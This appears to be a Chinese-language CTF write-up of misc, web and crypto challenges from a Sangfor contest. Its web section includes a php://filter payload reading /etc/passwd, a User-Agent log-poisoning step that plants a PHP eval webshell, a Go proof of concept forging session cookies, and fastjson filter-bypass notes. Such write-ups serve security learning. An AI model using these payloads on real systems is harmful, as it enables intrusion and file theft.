和几个**”社会”**人士(@DEADF1SH-CAT 、 @Oah 、 @小火车 )一起组队参加了这次比赛,终于不用在高校组卷了,哈哈
部分题目下载链接:
9.17更:官方WP:https://mp.weixin.qq.com/s/BqLTX3au1GIPn3cz9xZISA
MISC 0x01 签到题 不想吐槽,一起来看流星雨对应数字17。。队伍里师傅太骚,我是没想到 2333
gif图每一帧都对应一个数字
28定律-8卦-30而立-北斗7星-4才子-歼20-2只黄鹂-17来看流星雨-乔丹球服23-1马当先-12星座-新闻联播19点开播放
所以是 md5(28-08-30-07-04-20-02-17-23-01-12-19)
Sangfor{d93b7da38d89c19f481e710ef1b3558b}
0x05 Misc520
题目简介:有一天,zip爱上了pcap,zip为了能与pcap创造更多机会,不断地将自己的能力表现出来。可是,LSBSteg却突然杀了出来,将pcap吞并于png中,不放出来。zip看到了png,多喝热水少做梦。zip异常的愤怒,不断地用自己的能力去报复png,不让png逃走。至今,zip仍未释怀。。。
1、首先解压缩520次,顺便打印文件内容(一开始没发现,后面做出来后试了n个组合都不对…),并得到一张图片flag.png
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import zipfileROOT_DIR = '/Users/tari/Downloads/rezip/' def unzip (file_name ): f = zipfile.ZipFile(file_name, 'r' ) for file in f.namelist(): f.extract(file, ROOT_DIR) if file.startswith('story' ): with open (ROOT_DIR + file, 'r' ) as fr: print (fr.read()) for i in range (520 , -1 , -1 ): print (i) name = ROOT_DIR + str (i) + '.zip' unzip(name)
顺便在150.zip 压缩包的 story文件的发现
2、获取到图片后通过zsteg提取flag.pcap
3、发现里面还有个压缩包,一开始还以为提取错了…
1 steg flag.png -e b1,bgr,lsb,xy > flag.zip
4、压缩包有密码,这个安利 john,很快
1 2 zip2john 8.zip > passwd.hash john passwd.hash
5、打开压缩包发现是USB流量,通过USB流量分析文章 ,得知获取鼠标数据方式
1 tshark -r flag.pcap -T fields -e usb.capdata > usbdata.txt
6、将usbdata.txt通过以下脚本,运行 python xxx.py > usb.txt
输出得到鼠标的坐标点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 nums = [] keys = open ("usbdata.txt" , "r" ) posx = 0 posy = 0 for line in keys: if len (line.strip()) != 8 : continue x = int (line[2 :4 ], 16 ) y = int (line[4 :6 ], 16 ) if x > 127 : x -= 256 if y > 127 : y -= 256 posx += x posy += y btn_flag = int (line[0 :2 ], 16 ) if btn_flag == 0 : // 1 是鼠标左键 2 是右键 0 是默认 print (posx, posy) nums.append((posx, posy)) keys.close()
这里注意,可能文章里的格式是 00:00:01:00:00:00:ff:ff
这种,这应该是旧版 tshark获取到的,新版应该都是 00ffff00
格式,上面脚本也是适应这种格式
7、通过gnuplot绘图 plot usb.txt
得到 130,63,111,94,51,134,119,146
然后配合刚开始在一个story文件找到这个 72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108
由于题目提示说开头是GWHT
,测试了一下ascii码依次是71,87,72,84
,可以得到数字一次减小1、2、3、4....21
脚本如下得到flag
最后flag:GWHT{W3lCom3_t0_M!sc},替换头部字符串Sangfor{W3lCom3_t0_M!sc},提交成功
Web 0x01 Cross The Side 等WP补充 版本信息: Laravel8.26.1 / PHP7.4.15
先尝试一下 Laravel8 CVE-2021-3129 不过报了个错,好像是分配的内存不够
有点迷,以前复现 的时候没遇到这两个报错
相关的反序列化好像要找参数接收入口点,不过爆破一下接口暂时没发现。。
0x02 Checkin_Go 跑登录hash脚本
1 2 3 4 5 6 7 8 9 10 11 import hashlibtarget = '0a7610' candidate = 0 while True : plaintext = str (candidate) hash = hashlib.md5(plaintext.encode('ascii' )).hexdigest() if hash [:6 ] == target: print ('plaintext:"' + plaintext + '", md5:' + hash ) break candidate = candidate + 1
帐号密码 tari/tari + 得到的 hash 即可登录,审计源码发现通过checkNowMoney和checkPlayerMoney校验用户的Money和买flag需要的Money,但secret我们不清楚,没法直接伪造。直接base64解码两次,看看Cookie里装的什么东西,其中蓝色的为加密过的内容,即 checkXXX
然后这两个checkXXX,后端校验逻辑为只要能解密内容能解密成功,就行,没有严格校验绑定对应的键是否正常。
但是因base64了两次,直接通过base64 4字节是否对齐替换太麻烦了,直接用gin来替换即可,POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package mainimport ( "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "math/rand" ) func randomChar (l int ) []byte { output := make ([]byte , l) rand.Read(output) return output } func main () { r := gin.Default() storage := cookie.NewStore(randomChar(16 )) r.Use(sessions.Sessions("o" , storage)) r.GET("/" , func (c *gin.Context) { s := sessions.Default(c) s.Set("uname" , "tari" ) checkPlayerMoney := s.Get("checkPlayerMoney" ) checflagMoney := s.Get("checkNowMoney" ) s.Set("checkNowMoney" , checkPlayerMoney) s.Set("checkPlayerMoney" , checflagMoney) playerMoney := s.Get("playerMoney" ) flagMoney := s.Get("nowMoney" ) s.Set("nowMoney" , playerMoney) s.Set("playerMoney" , flagMoney) s.Save() }) r.Run("0.0.0.0:80" ) }
首先帐号密码 tari/tari + hash 登录,然后把Cookie提取取来,在本地浏览器替换,访问本地刚刚POC建的HTTP服务即会替换
然后就把Set-Cookie的值替换到比赛环境,访问比赛环境即会看到Money额flag钱对换位置了
在点buyFlag即可得flag
0x03 Only 4 没成功的思路:
1、目录爆破得知存在文件 secret.php
2、伪协议可读/etc/passwd (/?gwht=php://filter/convert.base64-encode/resource=/etc/passwd&ycb=1
)但读不了 secret.php
3、反序列化不是很明白咋利用。。
通过下面非预期解命令执行后,发现原来还有个 serialize.php 文件,,我30w字典都没有,kali自带的也没有,辣鸡题目。预期解是,目录爆破得 serialize.php 然后构造POP链,得到 secret.php 然后通过 >
写shell得到flag
以下应该为非预期解:
尝试文件包含 /var/log/httpd/access.log access_log error.log error_log 和 /var/log/apache2/access 等等日志文件,均没成功。
尝试通过伪协议读 /proc,读了 /proc/self/cmdline 和 environ但没啥信息,仔细想想apache既然在运行,肯定还会有相关的文件描述符,按理说,举办方不会ban了这部分的日志才对。通过burp爆破一下 /proc/self/fd/数字
那咋整,,果断向举办放,让他们帮我重置环境。。。
重新来一次,UA写入<?php @eval($_GET['c']); ?>
成功,发现flag在根目录下
0x04 Shop System 等WP补充 据说源码是:https://gitee.com/agoni_no/gulimall
1、明显是fastjson, @type被禁用,考虑绕过,
2、通过unicode编码绕过,可以打dnslog
3、拿到jdk信息-> /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.302.b08-0.el7_9.x86_64/jre
4、可以拿到报错的调用栈(但是好像没用)
5、估计版本>=1.2.67
0x05 NO SQL 等WP补充 1、目录爆破得源码 backup.zip
2、发现用户Sangfor,重置密码显示 Invalid address: (From): root@localhost
3、找不到NoSQL注入注入点
0x06 EasyCurl 等WP补充 1、访问 /app 敏感信息泄漏,知道登录帐号和密码两个
2、举办方提示 /common.php.bak
3、目录爆破发现 admin.php config.php login.php 还有个 log/ 目录里面记录了登录信息
4、不知道咋触发cache_parser 的魔术函数
Crypto 0x01 RingRingRing 一共有两个挑战
第一个是算出md5符合要求的字符串,直接从1开始爆破
第二个是计算a**4 + b**4 + c**4 + d**4 == e**2
当abcd相同时,可以转换成
4*a**4==e**2
再进一步转换
e = 2*a*a
最后爆破出100个就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import hashlibimport socketimport redef md5 (plain ): return hashlib.md5(plain.encode()).hexdigest() def challenge_1 (s ): msg = s.recv(1024 ).decode() print (msg, end="" ) salt, target = re.findall(r"md5\(str \+ (.*?)\)\[0:5\] \=\= (.*)" , msg)[0 ] msg = s.recv(1024 ).decode() print (msg, end="" ) i = 0 while 1 : result = str (i) hash_text = md5(result + salt)[0 :5 ] if hash_text == target: print (result) s.send(result.encode()) return i += 1 def challenge_2 (s ): msg = s.recv(1024 ).decode() print (msg, end="" ) for a in range (1 , 101 ): e = 2 * a * a a = str (a) e = str (e) msg = s.recv(1024 ).decode() s.send(a.encode()) print (msg, end="" ) print (a) msg = s.recv(1024 ).decode() s.send(a.encode()) print (msg, end="" ) print (a) msg = s.recv(1024 ).decode() s.send(a.encode()) print (msg, end="" ) print (a) msg = s.recv(1024 ).decode() s.send(a.encode()) print (msg, end="" ) print (a) msg = s.recv(1024 ).decode() s.send(e.encode()) print (msg, end="" ) print (e) msg = s.recv(1024 ).decode() print (msg, end="" ) s = socket.socket() s.connect(("192.168.41.180" , 2378 )) challenge_1(s) challenge_2(s) msg = s.recv(1024 ).decode() print (msg, end="" )
0x02 Easy_Rsa 参考链接:https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/
求p,q(python)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from Crypto.Util.number import *def f (x, n ): return (pow (x, n - 1 , n) + 3 ) % n def rho (n ): i = 1 while True : a = getRandomRange(2 , n) b = f(a, n) j = 1 while True : p = GCD(abs (a - b), n) if p == n: break elif p > 1 : return (p, n // p) else : a = f(a, n) b = f(f(b, n), n) j += 1 i += 1 def main (): n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039 p, q = rho(n) if __name__ == "__main__" : main()
求m(sage)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 p, q = 9983140483800634632426126985832058062766650402234684899412786169759602188949733747138853010482968306554808689182393249326088351886439191015684338347893201, 8437905502983445042677582637893534375137565614989838462475696727313788501904161403475771835934720130340799646782932619714906025013322551788559197469878239 n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039 e = 58337 c = 13646200911032594651110040891135783560995665642049282201695300382255436792102048169200570930229947213493204600006876822744757042959653203573780257603577712302687497959686258542388622714078571068849217323703865310256200818493894194213812410547780002879351619924848073893321472704218227047519748394961963394668 phi = (p - 1) * (q - 1) d = inverse_mod(e, phi) m = pow(c, d, n) print(m)
m=764933079065821303936797644844502321236920812448552312502734605833024103591159476785230123313397308075827837
转换成字符串
SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b}
小总结 好,非常愉快的周末就这样过去了~
还有几个Web题还是挺好奇咋整的,因此占个坑位..